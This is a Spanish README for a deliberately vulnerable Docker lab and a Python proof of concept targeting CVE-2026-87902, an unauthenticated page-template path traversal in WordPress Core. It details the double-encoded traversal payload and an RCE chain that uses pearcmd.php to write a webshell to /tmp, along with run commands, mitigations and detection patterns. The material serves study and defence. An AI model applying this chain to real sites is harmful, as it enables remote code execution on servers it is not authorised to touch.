
Laboratorio vulnerable (Docker) + PoC en Python para la CVE-2026-87902 — path traversal no autenticado en WordPress Core (page-template -> LFI -> RCE condicional). Uso educativo/autorizado.
Lab deliberadamente vulnerable + PoC en Python para la CVE-2026-87902: path traversal no autenticado en la resolución de page template del WordPress Core, que conduce a Local File Inclusion (LFI) y a RCE condicional.
| Campo | Valor |
|---|---|
| Producto | WordPress Core |
| Versiones afectadas | 4.7.0 → 7.1.1 |
| Corrección | 7.1.2 (backport hasta 4.7.37) |
| Tipo | Path Traversal (CWE-22) → LFI → RCE condicional |
| Autenticación | Ninguna (no autenticado) |
| CVSS 4.0 | 9.2 (Crítico) |
| Publicación | 2026-09-23 |
⚠️ Aviso legal / ético. Todo el material aquí es para estudio en entorno local y autorizado. El lab es una imagen Docker deliberadamente insegura — no la expongas en internet. El
exploit.pytiene como objetivo por defectohttp://localhost:8091a propósito. Ejecutar el PoC contra cualquier sistema sin autorización explícita por escrito es un delito. Eres el único responsable del uso.
EXPLOIT-CVE-2026-87902/
├── README.md # este archivo
├── docker-compose.yml # levanta el lab en localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # precondiciones ambientales de RCE
│ └── src/ # "WordPress mini" que reproduce el fragmento vulnerable
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # get_page_template()/locate_template()/... vulnerables
│ ├── private/
│ │ └── secret-config.php # objetivo .php fuera del tema (prueba de LFI)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # directorio "page-*" requerido p/ el traversal
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + cadena RCE vía pearcmd
└── requirements.txt
Requisitos previos: Docker + Docker Compose y Python 3 con requests.
# 1) Suba el lab (queda en http://localhost:8091)
docker compose up --build
# 2) En otra terminal, instale la dependencia del PoC y ejecute
cd exploit
pip install -r requirements.txt
python3 exploit.py # ejecuta LFI + RCE contra el lab local
# Opciones útiles
python3 exploit.py --mode lfi # solo la prueba de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Derrube el lab
docker compose down
Salida esperada (resumen):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
En get_page_template() el valor de la query var pública pagename se usa
para construir el nombre del template. El core valida el valor bruto con
validate_file() (que bloquea .. literal), pero a continuación decodifica el valor
una vez y usa el resultado como candidato a template sin revalidar
(reproducción fiel en wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
El locator entonces concatena tema + "/" + template e incluye el primer
archivo que exista, sin realpath() ni verificación de que el resultado
siga dentro del directorio del tema.
El atacante envía pagename doblemente codificado:
Valor en el cable (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificación (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- sin '..' literal => pasa por validate_file()
2ª decodificación (core): templates/../../.../pearcmd <- traversal real
Como el locator prefija page-, la ruta se convierte en
page-templates/../../.../pearcmd.php. Esto resuelve fuera del tema.
page- (aquí,
page-templates/). Es el punto de partida real del traversal: en Linux cada
componente de la ruta debe existir para que los ../ resuelvan. Temas
legacy (Twenty Twelve/Fourteen) y populares (Neve, Hestia, Sydney) lo cumplen.register_argc_argv = On en PHP → $_SERVER['argv'] se rellena a partir
de la query string.pearcmd.php legible en el servidor (la imagen oficial php:8.2-apache ya lo
trae en /usr/local/lib/php/pearcmd.php, en el include_path estándar).Como el locator añade .php, la LFI solo alcanza archivos .php. Por eso la ruta
práctica de RCE se encadena con pearcmd.php:
pearcmd.php pasando, por la query string (=argv),
config-create para escribir un webshell .php en /tmp./tmp/<webshell>.php mediante un nuevo traversal → el PHP
del atacante se ejecuta.El parche trata el valor de pagename de forma consistente: valida después
de cualquier decodificación (o rechaza entrada con secuencias codificadas de
traversal) y pasa a imponer la frontera del directorio en la resolución del
template (la ruta final debe seguir dentro del tema). Resultado: el valor
doblemente codificado ya no sobrevive hasta el include.
Mitigaciones: actualizar a ≥ 7.1.2; y, como defensa en profundidad,
register_argc_argv = Off, eliminar/restringir pearcmd.php, y un WAF que
detecte ../ codificado (%2e%2e%2f, %252e...) en las peticiones.
../ codificado/doblemente codificado
(%2e%2e%2f, %252e%252e%252f) en los parámetros.pagename), especialmente combinados con query strings que contengan
config-create / referencias a pearcmd..php en /tmp seguida de inclusión.